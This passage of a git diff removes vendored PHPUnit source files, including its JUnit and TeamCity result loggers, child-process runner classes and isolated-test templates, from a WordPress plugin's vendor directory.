'failure'); - $this->testSuiteFailures[$this->testSuiteLevel]++; - } - - /** - * Incomplete test. - */ - public function addIncompleteTest(Test $test, Throwable $t, float $time): void - { - $this->doAddSkipped(); - } - - /** - * Risky test. - */ - public function addRiskyTest(Test $test, Throwable $t, float $time): void - { - if (!$this->reportRiskyTests) { - return; - } - - $this->doAddFault($test, $t, 'error'); - $this->testSuiteErrors[$this->testSuiteLevel]++; - } - - /** - * Skipped test. - */ - public function addSkippedTest(Test $test, Throwable $t, float $time): void - { - $this->doAddSkipped(); - } - - /** - * A testsuite started. - */ - public function startTestSuite(TestSuite $suite): void - { - $testSuite = $this->document->createElement('testsuite'); - $testSuite->setAttribute('name', $suite->getName()); - - if (class_exists($suite->getName(), false)) { - try { - $class = new ReflectionClass($suite->getName()); - - $testSuite->setAttribute('file', $class->getFileName()); - } catch (ReflectionException $e) { - } - } - - if ($this->testSuiteLevel > 0) { - $this->testSuites[$this->testSuiteLevel]->appendChild($testSuite); - } else { - $this->root->appendChild($testSuite); - } - - $this->testSuiteLevel++; - $this->testSuites[$this->testSuiteLevel] = $testSuite; - $this->testSuiteTests[$this->testSuiteLevel] = 0; - $this->testSuiteAssertions[$this->testSuiteLevel] = 0; - $this->testSuiteErrors[$this->testSuiteLevel] = 0; - $this->testSuiteWarnings[$this->testSuiteLevel] = 0; - $this->testSuiteFailures[$this->testSuiteLevel] = 0; - $this->testSuiteSkipped[$this->testSuiteLevel] = 0; - $this->testSuiteTimes[$this->testSuiteLevel] = 0; - } - - /** - * A testsuite ended. - */ - public function endTestSuite(TestSuite $suite): void - { - $this->testSuites[$this->testSuiteLevel]->setAttribute( - 'tests', - (string) $this->testSuiteTests[$this->testSuiteLevel], - ); - - $this->testSuites[$this->testSuiteLevel]->setAttribute( - 'assertions', - (string) $this->testSuiteAssertions[$this->testSuiteLevel], - ); - - $this->testSuites[$this->testSuiteLevel]->setAttribute( - 'errors', - (string) $this->testSuiteErrors[$this->testSuiteLevel], - ); - - $this->testSuites[$this->testSuiteLevel]->setAttribute( - 'warnings', - (string) $this->testSuiteWarnings[$this->testSuiteLevel], - ); - - $this->testSuites[$this->testSuiteLevel]->setAttribute( - 'failures', - (string) $this->testSuiteFailures[$this->testSuiteLevel], - ); - - $this->testSuites[$this->testSuiteLevel]->setAttribute( - 'skipped', - (string) $this->testSuiteSkipped[$this->testSuiteLevel], - ); - - $this->testSuites[$this->testSuiteLevel]->setAttribute( - 'time', - sprintf('%F', $this->testSuiteTimes[$this->testSuiteLevel]), - ); - - if ($this->testSuiteLevel > 1) { - $this->testSuiteTests[$this->testSuiteLevel - 1] += $this->testSuiteTests[$this->testSuiteLevel]; - $this->testSuiteAssertions[$this->testSuiteLevel - 1] += $this->testSuiteAssertions[$this->testSuiteLevel]; - $this->testSuiteErrors[$this->testSuiteLevel - 1] += $this->testSuiteErrors[$this->testSuiteLevel]; - $this->testSuiteWarnings[$this->testSuiteLevel - 1] += $this->testSuiteWarnings[$this->testSuiteLevel]; - $this->testSuiteFailures[$this->testSuiteLevel - 1] += $this->testSuiteFailures[$this->testSuiteLevel]; - $this->testSuiteSkipped[$this->testSuiteLevel - 1] += $this->testSuiteSkipped[$this->testSuiteLevel]; - $this->testSuiteTimes[$this->testSuiteLevel - 1] += $this->testSuiteTimes[$this->testSuiteLevel]; - } - - $this->testSuiteLevel--; - } - - /** - * A test started. - */ - public function startTest(Test $test): void - { - $usesDataprovider = false; - - if (method_exists($test, 'usesDataProvider')) { - $usesDataprovider = $test->usesDataProvider(); - } - - $testCase = $this->document->createElement('testcase'); - $testCase->setAttribute('name', $test->getName()); - - try { - $class = new ReflectionClass($test); - // @codeCoverageIgnoreStart - } catch (ReflectionException $e) { - throw new Exception( - $e->getMessage(), - $e->getCode(), - $e, - ); - } - // @codeCoverageIgnoreEnd - - $methodName = $test->getName(!$usesDataprovider); - - if ($class->hasMethod($methodName)) { - try { - $method = $class->getMethod($methodName); - // @codeCoverageIgnoreStart - } catch (ReflectionException $e) { - throw new Exception( - $e->getMessage(), - $e->getCode(), - $e, - ); - } - // @codeCoverageIgnoreEnd - - $testCase->setAttribute('class', $class->getName()); - $testCase->setAttribute('classname', str_replace('\\', '.', $class->getName())); - $testCase->setAttribute('file', $class->getFileName()); - $testCase->setAttribute('line', (string) $method->getStartLine()); - } - - $this->currentTestCase = $testCase; - } - - /** - * A test ended. - */ - public function endTest(Test $test, float $time): void - { - $numAssertions = 0; - - if (method_exists($test, 'getNumAssertions')) { - $numAssertions = $test->getNumAssertions(); - } - - $this->testSuiteAssertions[$this->testSuiteLevel] += $numAssertions; - - $this->currentTestCase->setAttribute( - 'assertions', - (string) $numAssertions, - ); - - $this->currentTestCase->setAttribute( - 'time', - sprintf('%F', $time), - ); - - $this->testSuites[$this->testSuiteLevel]->appendChild( - $this->currentTestCase, - ); - - $this->testSuiteTests[$this->testSuiteLevel]++; - $this->testSuiteTimes[$this->testSuiteLevel] += $time; - - $testOutput = ''; - - if (method_exists($test, 'hasOutput') && method_exists($test, 'getActualOutput')) { - $testOutput = $test->hasOutput() ? $test->getActualOutput() : ''; - } - - if (!empty($testOutput)) { - $systemOut = $this->document->createElement( - 'system-out', - Xml::prepareString($testOutput), - ); - - $this->currentTestCase->appendChild($systemOut); - } - - $this->currentTestCase = null; - } - - /** - * Returns the XML as a string. - */ - public function getXML(): string - { - return $this->document->saveXML(); - } - - private function doAddFault(Test $test, Throwable $t, string $type): void - { - if ($this->currentTestCase === null) { - return; - } - - if ($test instanceof SelfDescribing) { - $buffer = $test->toString() . "\n"; - } else { - $buffer = ''; - } - - $buffer .= trim( - TestFailure::exceptionToString($t) . "\n" . - Filter::getFilteredStacktrace($t), - ); - - $fault = $this->document->createElement( - $type, - Xml::prepareString($buffer), - ); - - if ($t instanceof ExceptionWrapper) { - $fault->setAttribute('type', $t->getClassName()); - } else { - $fault->setAttribute('type', get_class($t)); - } - - $this->currentTestCase->appendChild($fault); - } - - private function doAddSkipped(): void - { - if ($this->currentTestCase === null) { - return; - } - - $skipped = $this->document->createElement('skipped'); - - $this->currentTestCase->appendChild($skipped); - - $this->testSuiteSkipped[$this->testSuiteLevel]++; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Log/TeamCity.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Log/TeamCity.php deleted file mode 100644 index 3ba687a1..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Log/TeamCity.php +++ /dev/null @@ -1,384 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Util\Log; - -use const PHP_EOL; -use function class_exists; -use function count; -use function explode; -use function get_class; -use function getmypid; -use function ini_get; -use function is_bool; -use function is_scalar; -use function method_exists; -use function print_r; -use function round; -use function str_replace; -use function stripos; -use PHPUnit\Framework\AssertionFailedError; -use PHPUnit\Framework\ExceptionWrapper; -use PHPUnit\Framework\ExpectationFailedException; -use PHPUnit\Framework\Test; -use PHPUnit\Framework\TestCase; -use PHPUnit\Framework\TestFailure; -use PHPUnit\Framework\TestResult; -use PHPUnit\Framework\TestSuite; -use PHPUnit\Framework\Warning; -use PHPUnit\TextUI\DefaultResultPrinter; -use PHPUnit\Util\Exception; -use PHPUnit\Util\Filter; -use ReflectionClass; -use ReflectionException; -use SebastianBergmann\Comparator\ComparisonFailure; -use Throwable; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class TeamCity extends DefaultResultPrinter -{ - /** - * @var bool - */ - private $isSummaryTestCountPrinted = false; - - /** - * @var string - */ - private $startedTestName; - - /** - * @var false|int - */ - private $flowId; - - public function printResult(TestResult $result): void - { - $this->printHeader($result); - $this->printFooter($result); - } - - /** - * An error occurred. - */ - public function addError(Test $test, Throwable $t, float $time): void - { - $this->printEvent( - 'testFailed', - [ - 'name' => $test->getName(), - 'message' => self::getMessage($t), - 'details' => self::getDetails($t), - 'duration' => self::toMilliseconds($time), - ], - ); - } - - /** - * A warning occurred. - */ - public function addWarning(Test $test, Warning $e, float $time): void - { - $this->write(self::getMessage($e) . PHP_EOL); - } - - /** - * A failure occurred. - */ - public function addFailure(Test $test, AssertionFailedError $e, float $time): void - { - $parameters = [ - 'name' => $test->getName(), - 'message' => self::getMessage($e), - 'details' => self::getDetails($e), - 'duration' => self::toMilliseconds($time), - ]; - - if ($e instanceof ExpectationFailedException) { - $comparisonFailure = $e->getComparisonFailure(); - - if ($comparisonFailure instanceof ComparisonFailure) { - $expectedString = $comparisonFailure->getExpectedAsString(); - - if ($expectedString === null || empty($expectedString)) { - $expectedString = self::getPrimitiveValueAsString($comparisonFailure->getExpected()); - } - - $actualString = $comparisonFailure->getActualAsString(); - - if ($actualString === null || empty($actualString)) { - $actualString = self::getPrimitiveValueAsString($comparisonFailure->getActual()); - } - - if ($actualString !== null && $expectedString !== null) { - $parameters['type'] = 'comparisonFailure'; - $parameters['actual'] = $actualString; - $parameters['expected'] = $expectedString; - } - } - } - - $this->printEvent('testFailed', $parameters); - } - - /** - * Incomplete test. - */ - public function addIncompleteTest(Test $test, Throwable $t, float $time): void - { - $this->printIgnoredTest($test->getName(), $t, $time); - } - - /** - * Risky test. - */ - public function addRiskyTest(Test $test, Throwable $t, float $time): void - { - $this->addError($test, $t, $time); - } - - /** - * Skipped test. - */ - public function addSkippedTest(Test $test, Throwable $t, float $time): void - { - $testName = $test->getName(); - - if ($this->startedTestName !== $testName) { - $this->startTest($test); - $this->printIgnoredTest($testName, $t, $time); - $this->endTest($test, $time); - } else { - $this->printIgnoredTest($testName, $t, $time); - } - } - - public function printIgnoredTest(string $testName, Throwable $t, float $time): void - { - $this->printEvent( - 'testIgnored', - [ - 'name' => $testName, - 'message' => self::getMessage($t), - 'details' => self::getDetails($t), - 'duration' => self::toMilliseconds($time), - ], - ); - } - - /** - * A testsuite started. - */ - public function startTestSuite(TestSuite $suite): void - { - if (stripos(ini_get('disable_functions'), 'getmypid') === false) { - $this->flowId = getmypid(); - } else { - $this->flowId = false; - } - - if (!$this->isSummaryTestCountPrinted) { - $this->isSummaryTestCountPrinted = true; - - $this->printEvent( - 'testCount', - ['count' => count($suite)], - ); - } - - $suiteName = $suite->getName(); - - if (empty($suiteName)) { - return; - } - - $parameters = ['name' => $suiteName]; - - if (class_exists($suiteName, false)) { - $fileName = self::getFileName($suiteName); - $parameters['locationHint'] = "php_qn://{$fileName}::\\{$suiteName}"; - } else { - $split = explode('::', $suiteName); - - if (count($split) === 2 && class_exists($split[0]) && method_exists($split[0], $split[1])) { - $fileName = self::getFileName($split[0]); - $parameters['locationHint'] = "php_qn://{$fileName}::\\{$suiteName}"; - $parameters['name'] = $split[1]; - } - } - - $this->printEvent('testSuiteStarted', $parameters); - } - - /** - * A testsuite ended. - */ - public function endTestSuite(TestSuite $suite): void - { - $suiteName = $suite->getName(); - - if (empty($suiteName)) { - return; - } - - $parameters = ['name' => $suiteName]; - - if (!class_exists($suiteName, false)) { - $split = explode('::', $suiteName); - - if (count($split) === 2 && class_exists($split[0]) && method_exists($split[0], $split[1])) { - $parameters['name'] = $split[1]; - } - } - - $this->printEvent('testSuiteFinished', $parameters); - } - - /** - * A test started. - */ - public function startTest(Test $test): void - { - $testName = $test->getName(); - $this->startedTestName = $testName; - $params = ['name' => $testName]; - - if ($test instanceof TestCase) { - $className = get_class($test); - $fileName = self::getFileName($className); - $params['locationHint'] = "php_qn://{$fileName}::\\{$className}::{$testName}"; - } - - $this->printEvent('testStarted', $params); - } - - /** - * A test ended. - */ - public function endTest(Test $test, float $time): void - { - parent::endTest($test, $time); - - $this->printEvent( - 'testFinished', - [ - 'name' => $test->getName(), - 'duration' => self::toMilliseconds($time), - ], - ); - } - - protected function writeProgress(string $progress): void - { - } - - private function printEvent(string $eventName, array $params = []): void - { - $this->write("\n##teamcity[{$eventName}"); - - if ($this->flowId) { - $params['flowId'] = $this->flowId; - } - - foreach ($params as $key => $value) { - $escapedValue = self::escapeValue((string) $value); - $this->write(" {$key}='{$escapedValue}'"); - } - - $this->write("]\n"); - } - - private static function getMessage(Throwable $t): string - { - $message = ''; - - if ($t instanceof ExceptionWrapper) { - if ($t->getClassName() !== '') { - $message .= $t->getClassName(); - } - - if ($message !== '' && $t->getMessage() !== '') { - $message .= ' : '; - } - } - - return $message . $t->getMessage(); - } - - private static function getDetails(Throwable $t): string - { - $stackTrace = Filter::getFilteredStacktrace($t); - $previous = $t instanceof ExceptionWrapper ? $t->getPreviousWrapped() : $t->getPrevious(); - - while ($previous) { - $stackTrace .= "\nCaused by\n" . - TestFailure::exceptionToString($previous) . "\n" . - Filter::getFilteredStacktrace($previous); - - $previous = $previous instanceof ExceptionWrapper ? - $previous->getPreviousWrapped() : $previous->getPrevious(); - } - - return ' ' . str_replace("\n", "\n ", $stackTrace); - } - - private static function getPrimitiveValueAsString($value): ?string - { - if ($value === null) { - return 'null'; - } - - if (is_bool($value)) { - return $value ? 'true' : 'false'; - } - - if (is_scalar($value)) { - return print_r($value, true); - } - - return null; - } - - private static function escapeValue(string $text): string - { - return str_replace( - ['|', "'", "\n", "\r", ']', '['], - ['||', "|'", '|n', '|r', '|]', '|['], - $text, - ); - } - - /** - * @param string $className - */ - private static function getFileName($className): string - { - try { - return (new ReflectionClass($className))->getFileName(); - // @codeCoverageIgnoreStart - } catch (ReflectionException $e) { - throw new Exception( - $e->getMessage(), - $e->getCode(), - $e, - ); - } - // @codeCoverageIgnoreEnd - } - - /** - * @param float $time microseconds - */ - private static function toMilliseconds(float $time): int - { - return (int) round($time * 1000); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/PHP/AbstractPhpProcess.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/PHP/AbstractPhpProcess.php deleted file mode 100644 index 9620846a..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/PHP/AbstractPhpProcess.php +++ /dev/null @@ -1,427 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Util\PHP; - -use const DIRECTORY_SEPARATOR; -use const PHP_SAPI; -use function array_keys; -use function array_merge; -use function assert; -use function escapeshellarg; -use function file_exists; -use function file_get_contents; -use function ini_get_all; -use function restore_error_handler; -use function set_error_handler; -use function sprintf; -use function str_replace; -use function strpos; -use function strrpos; -use function substr; -use function trim; -use function unlink; -use function unserialize; -use __PHP_Incomplete_Class; -use ErrorException; -use PHPUnit\Framework\AssertionFailedError; -use PHPUnit\Framework\Exception; -use PHPUnit\Framework\SyntheticError; -use PHPUnit\Framework\Test; -use PHPUnit\Framework\TestCase; -use PHPUnit\Framework\TestFailure; -use PHPUnit\Framework\TestResult; -use SebastianBergmann\Environment\Runtime; -use SebastianBergmann\RecursionContext\InvalidArgumentException; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -abstract class AbstractPhpProcess -{ - /** - * @var Runtime - */ - protected $runtime; - - /** - * @var bool - */ - protected $stderrRedirection = false; - - /** - * @var string - */ - protected $stdin = ''; - - /** - * @var string - */ - protected $args = ''; - - /** - * @var array - */ - protected $env = []; - - /** - * @var int - */ - protected $timeout = 0; - - public static function factory(): self - { - if (DIRECTORY_SEPARATOR === '\\') { - return new WindowsPhpProcess; - } - - return new DefaultPhpProcess; - } - - public function __construct() - { - $this->runtime = new Runtime; - } - - /** - * Defines if should use STDERR redirection or not. - * - * Then $stderrRedirection is TRUE, STDERR is redirected to STDOUT. - */ - public function setUseStderrRedirection(bool $stderrRedirection): void - { - $this->stderrRedirection = $stderrRedirection; - } - - /** - * Returns TRUE if uses STDERR redirection or FALSE if not. - */ - public function useStderrRedirection(): bool - { - return $this->stderrRedirection; - } - - /** - * Sets the input string to be sent via STDIN. - */ - public function setStdin(string $stdin): void - { - $this->stdin = $stdin; - } - - /** - * Returns the input string to be sent via STDIN. - */ - public function getStdin(): string - { - return $this->stdin; - } - - /** - * Sets the string of arguments to pass to the php job. - */ - public function setArgs(string $args): void - { - $this->args = $args; - } - - /** - * Returns the string of arguments to pass to the php job. - */ - public function getArgs(): string - { - return $this->args; - } - - /** - * Sets the array of environment variables to start the child process with. - * - * @param array $env - */ - public function setEnv(array $env): void - { - $this->env = $env; - } - - /** - * Returns the array of environment variables to start the child process with. - */ - public function getEnv(): array - { - return $this->env; - } - - /** - * Sets the amount of seconds to wait before timing out. - */ - public function setTimeout(int $timeout): void - { - $this->timeout = $timeout; - } - - /** - * Returns the amount of seconds to wait before timing out. - */ - public function getTimeout(): int - { - return $this->timeout; - } - - /** - * Runs a single test in a separate PHP process. - * - * @throws InvalidArgumentException - */ - public function runTestJob(string $job, Test $test, TestResult $result, string $processResultFile): void - { - $result->startTest($test); - - $processResult = ''; - $_result = $this->runJob($job); - - if (file_exists($processResultFile)) { - $processResult = file_get_contents($processResultFile); - - @unlink($processResultFile); - } - - $this->processChildResult( - $test, - $result, - $processResult, - $_result['stderr'], - ); - } - - /** - * Returns the command based into the configurations. - */ - public function getCommand(array $settings, ?string $file = null): string - { - $command = $this->runtime->getBinary(); - - if ($this->runtime->hasPCOV()) { - $settings = array_merge( - $settings, - $this->runtime->getCurrentSettings( - array_keys(ini_get_all('pcov')), - ), - ); - } elseif ($this->runtime->hasXdebug()) { - $settings = array_merge( - $settings, - $this->runtime->getCurrentSettings( - array_keys(ini_get_all('xdebug')), - ), - ); - } - - $command .= $this->settingsToParameters($settings); - - if (PHP_SAPI === 'phpdbg') { - $command .= ' -qrr'; - - if (!$file) { - $command .= 's='; - } - } - - if ($file) { - $command .= ' ' . escapeshellarg($file); - } - - if ($this->args) { - if (!$file) { - $command .= ' --'; - } - $command .= ' ' . $this->args; - } - - if ($this->stderrRedirection) { - $command .= ' 2>&1'; - } - - return $command; - } - - /** - * Runs a single job (PHP code) using a separate PHP process. - */ - abstract public function runJob(string $job, array $settings = []): array; - - protected function settingsToParameters(array $settings): string - { - $buffer = ''; - - foreach ($settings as $setting) { - $buffer .= ' -d ' . escapeshellarg($setting); - } - - return $buffer; - } - - /** - * Processes the TestResult object from an isolated process. - * - * @throws InvalidArgumentException - */ - private function processChildResult(Test $test, TestResult $result, string $stdout, string $stderr): void - { - $time = 0; - - if (!empty($stderr)) { - $result->addError( - $test, - new Exception(trim($stderr)), - $time, - ); - } else { - set_error_handler( - /** - * @throws ErrorException - */ - static function ($errno, $errstr, $errfile, $errline): void - { - throw new ErrorException($errstr, $errno, $errno, $errfile, $errline); - }, - ); - - try { - if (strpos($stdout, "#!/usr/bin/env php\n") === 0) { - $stdout = substr($stdout, 19); - } - - $childResult = unserialize(str_replace("#!/usr/bin/env php\n", '', $stdout)); - restore_error_handler(); - - if ($childResult === false) { - $result->addFailure( - $test, - new AssertionFailedError('Test was run in child process and ended unexpectedly'), - $time, - ); - } - } catch (ErrorException $e) { - restore_error_handler(); - $childResult = false; - - $result->addError( - $test, - new Exception(trim($stdout), 0, $e), - $time, - ); - } - - if ($childResult !== false) { - if (!empty($childResult['output'])) { - $output = $childResult['output']; - } - - /* @var TestCase $test */ - - $test->setResult($childResult['testResult']); - $test->addToAssertionCount($childResult['numAssertions']); - - $childResult = $childResult['result']; - assert($childResult instanceof TestResult); - - if ($result->getCollectCodeCoverageInformation()) { - $result->getCodeCoverage()->merge( - $childResult->getCodeCoverage(), - ); - } - - $time = $childResult->time(); - $notImplemented = $childResult->notImplemented(); - $risky = $childResult->risky(); - $skipped = $childResult->skipped(); - $errors = $childResult->errors(); - $warnings = $childResult->warnings(); - $failures = $childResult->failures(); - - if (!empty($notImplemented)) { - $result->addError( - $test, - $this->getException($notImplemented[0]), - $time, - ); - } elseif (!empty($risky)) { - $result->addError( - $test, - $this->getException($risky[0]), - $time, - ); - } elseif (!empty($skipped)) { - $result->addError( - $test, - $this->getException($skipped[0]), - $time, - ); - } elseif (!empty($errors)) { - $result->addError( - $test, - $this->getException($errors[0]), - $time, - ); - } elseif (!empty($warnings)) { - $result->addWarning( - $test, - $this->getException($warnings[0]), - $time, - ); - } elseif (!empty($failures)) { - $result->addFailure( - $test, - $this->getException($failures[0]), - $time, - ); - } - } - } - - $result->endTest($test, $time); - - if (!empty($output)) { - print $output; - } - } - - /** - * Gets the thrown exception from a PHPUnit\Framework\TestFailure. - * - * @see https://github.com/sebastianbergmann/phpunit/issues/74 - */ - private function getException(TestFailure $error): Exception - { - $exception = $error->thrownException(); - - if ($exception instanceof __PHP_Incomplete_Class) { - $exceptionArray = []; - - foreach ((array) $exception as $key => $value) { - $key = substr($key, strrpos($key, "\0") + 1); - $exceptionArray[$key] = $value; - } - - $exception = new SyntheticError( - sprintf( - '%s: %s', - $exceptionArray['_PHP_Incomplete_Class_Name'], - $exceptionArray['message'], - ), - $exceptionArray['code'], - $exceptionArray['file'], - $exceptionArray['line'], - $exceptionArray['trace'], - ); - } - - return $exception; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/PHP/DefaultPhpProcess.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/PHP/DefaultPhpProcess.php deleted file mode 100644 index 64974f1d..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/PHP/DefaultPhpProcess.php +++ /dev/null @@ -1,236 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Util\PHP; - -use function array_merge; -use function fclose; -use function file_put_contents; -use function fread; -use function fwrite; -use function is_array; -use function is_resource; -use function proc_close; -use function proc_open; -use function proc_terminate; -use function rewind; -use function sprintf; -use function stream_get_contents; -use function stream_select; -use function sys_get_temp_dir; -use function tempnam; -use function unlink; -use PHPUnit\Framework\Exception; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -class DefaultPhpProcess extends AbstractPhpProcess -{ - /** - * @var string - */ - protected $tempFile; - - /** - * Runs a single job (PHP code) using a separate PHP process. - * - * @throws Exception - */ - public function runJob(string $job, array $settings = []): array - { - if ($this->stdin || $this->useTemporaryFile()) { - if (!($this->tempFile = tempnam(sys_get_temp_dir(), 'PHPUnit')) || - file_put_contents($this->tempFile, $job) === false) { - throw new Exception( - 'Unable to write temporary file', - ); - } - - $job = $this->stdin; - } - - return $this->runProcess($job, $settings); - } - - /** - * Returns an array of file handles to be used in place of pipes. - */ - protected function getHandles(): array - { - return []; - } - - /** - * Handles creating the child process and returning the STDOUT and STDERR. - * - * @throws Exception - */ - protected function runProcess(string $job, array $settings): array - { - $handles = $this->getHandles(); - - $env = null; - - if ($this->env) { - $env = $_SERVER ?? []; - unset($env['argv'], $env['argc']); - $env = array_merge($env, $this->env); - - foreach ($env as $envKey => $envVar) { - if (is_array($envVar)) { - unset($env[$envKey]); - } - } - } - - $pipeSpec = [ - 0 => $handles[0] ?? ['pipe', 'r'], - 1 => $handles[1] ?? ['pipe', 'w'], - 2 => $handles[2] ?? ['pipe', 'w'], - ]; - - $process = proc_open( - $this->getCommand($settings, $this->tempFile), - $pipeSpec, - $pipes, - null, - $env, - ); - - if (!is_resource($process)) { - throw new Exception( - 'Unable to spawn worker process', - ); - } - - if ($job) { - $this->process($pipes[0], $job); - } - - fclose($pipes[0]); - - $stderr = $stdout = ''; - - if ($this->timeout) { - unset($pipes[0]); - - while (true) { - $r = $pipes; - $w = null; - $e = null; - - $n = @stream_select($r, $w, $e, $this->timeout); - - if ($n === false) { - break; - } - - if ($n === 0) { - proc_terminate($process, 9); - - throw new Exception( - sprintf( - 'Job execution aborted after %d seconds', - $this->timeout, - ), - ); - } - - if ($n > 0) { - foreach ($r as $pipe) { - $pipeOffset = 0; - - foreach ($pipes as $i => $origPipe) { - if ($pipe === $origPipe) { - $pipeOffset = $i; - - break; - } - } - - if (!$pipeOffset) { - break; - } - - $line = fread($pipe, 8192); - - if ($line === '' || $line === false) { - fclose($pipes[$pipeOffset]); - - unset($pipes[$pipeOffset]); - } elseif ($pipeOffset === 1) { - $stdout .= $line; - } else { - $stderr .= $line; - } - } - - if (empty($pipes)) { - break; - } - } - } - } else { - if (isset($pipes[1])) { - $stdout = stream_get_contents($pipes[1]); - - fclose($pipes[1]); - } - - if (isset($pipes[2])) { - $stderr = stream_get_contents($pipes[2]); - - fclose($pipes[2]); - } - } - - if (isset($handles[1])) { - rewind($handles[1]); - - $stdout = stream_get_contents($handles[1]); - - fclose($handles[1]); - } - - if (isset($handles[2])) { - rewind($handles[2]); - - $stderr = stream_get_contents($handles[2]); - - fclose($handles[2]); - } - - proc_close($process); - - $this->cleanup(); - - return ['stdout' => $stdout, 'stderr' => $stderr]; - } - - /** - * @param resource $pipe - */ - protected function process($pipe, string $job): void - { - fwrite($pipe, $job); - } - - protected function cleanup(): void - { - if ($this->tempFile) { - unlink($this->tempFile); - } - } - - protected function useTemporaryFile(): bool - { - return false; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/PHP/Template/PhptTestCase.tpl b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/PHP/Template/PhptTestCase.tpl deleted file mode 100644 index f23a0d1a..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/PHP/Template/PhptTestCase.tpl +++ /dev/null @@ -1,57 +0,0 @@ -{driverMethod}($filter), - $filter - ); - - if ({codeCoverageCacheDirectory}) { - $coverage->cacheStaticAnalysis({codeCoverageCacheDirectory}); - } - - $coverage->start(__FILE__); -} - -register_shutdown_function( - function() use ($coverage) { - $output = null; - - if ($coverage) { - $output = $coverage->stop(); - } - - file_put_contents('{coverageFile}', serialize($output)); - } -); - -ob_end_clean(); - -require '{job}'; diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/PHP/Template/TestCaseClass.tpl b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/PHP/Template/TestCaseClass.tpl deleted file mode 100644 index 0486d116..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/PHP/Template/TestCaseClass.tpl +++ /dev/null @@ -1,123 +0,0 @@ -{driverMethod}($filter), - $filter - ); - - if ({cachesStaticAnalysis}) { - $codeCoverage->cacheStaticAnalysis(unserialize('{codeCoverageCacheDirectory}')); - } - - $result->setCodeCoverage($codeCoverage); - } - - $result->beStrictAboutTestsThatDoNotTestAnything({isStrictAboutTestsThatDoNotTestAnything}); - $result->beStrictAboutOutputDuringTests({isStrictAboutOutputDuringTests}); - $result->enforceTimeLimit({enforcesTimeLimit}); - $result->beStrictAboutTodoAnnotatedTests({isStrictAboutTodoAnnotatedTests}); - $result->beStrictAboutResourceUsageDuringSmallTests({isStrictAboutResourceUsageDuringSmallTests}); - - $test = new {className}('{name}', unserialize('{data}'), '{dataName}'); - $test->setDependencyInput(unserialize('{dependencyInput}')); - $test->setInIsolation(true); - - ob_end_clean(); - $test->run($result); - $output = ''; - if (!$test->hasExpectationOnOutput()) { - $output = $test->getActualOutput(); - } - - ini_set('xdebug.scream', '0'); - - @rewind(STDOUT); /* @ as not every STDOUT target stream is rewindable */ - if ($stdout = @stream_get_contents(STDOUT)) { - $output = $stdout . $output; - $streamMetaData = stream_get_meta_data(STDOUT); - if (!empty($streamMetaData['stream_type']) && 'STDIO' === $streamMetaData['stream_type']) { - @ftruncate(STDOUT, 0); - @rewind(STDOUT); - } - } - - file_put_contents( - '{processResultFile}', - serialize( - [ - 'testResult' => $test->getResult(), - 'numAssertions' => $test->getNumAssertions(), - 'result' => $result, - 'output' => $output - ] - ) - ); -} - -$configurationFilePath = '{configurationFilePath}'; - -if ('' !== $configurationFilePath) { - $configuration = (new Loader)->load($configurationFilePath); - - (new PhpHandler)->handle($configuration->php()); - - unset($configuration); -} - -function __phpunit_error_handler($errno, $errstr, $errfile, $errline) -{ - return true; -} - -set_error_handler('__phpunit_error_handler'); - -{constants} -{included_files} -{globals} - -restore_error_handler(); - -if (isset($GLOBALS['__PHPUNIT_BOOTSTRAP'])) { - require_once $GLOBALS['__PHPUNIT_BOOTSTRAP']; - unset($GLOBALS['__PHPUNIT_BOOTSTRAP']); -} - -__phpunit_run_isolated_test(); diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/PHP/Template/TestCaseMethod.tpl b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/PHP/Template/TestCaseMethod.tpl deleted file mode 100644 index 067934db..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/PHP/Template/TestCaseMethod.tpl +++ /dev/null @@ -1,126 +0,0 @@ -{driverMethod}($filter), - $filter - ); - - if ({cachesStaticAnalysis}) { - $codeCoverage->cacheStaticAnalysis(unserialize('{codeCoverageCacheDirectory}')); - } - - $result->setCodeCoverage($codeCoverage); - } - - $result->beStrictAboutTestsThatDoNotTestAnything({isStrictAboutTestsThatDoNotTestAnything}); - $result->beStrictAboutOutputDuringTests({isStrictAboutOutputDuringTests}); - $result->enforceTimeLimit({enforcesTimeLimit}); - $result->beStrictAboutTodoAnnotatedTests({isStrictAboutTodoAnnotatedTests}); - 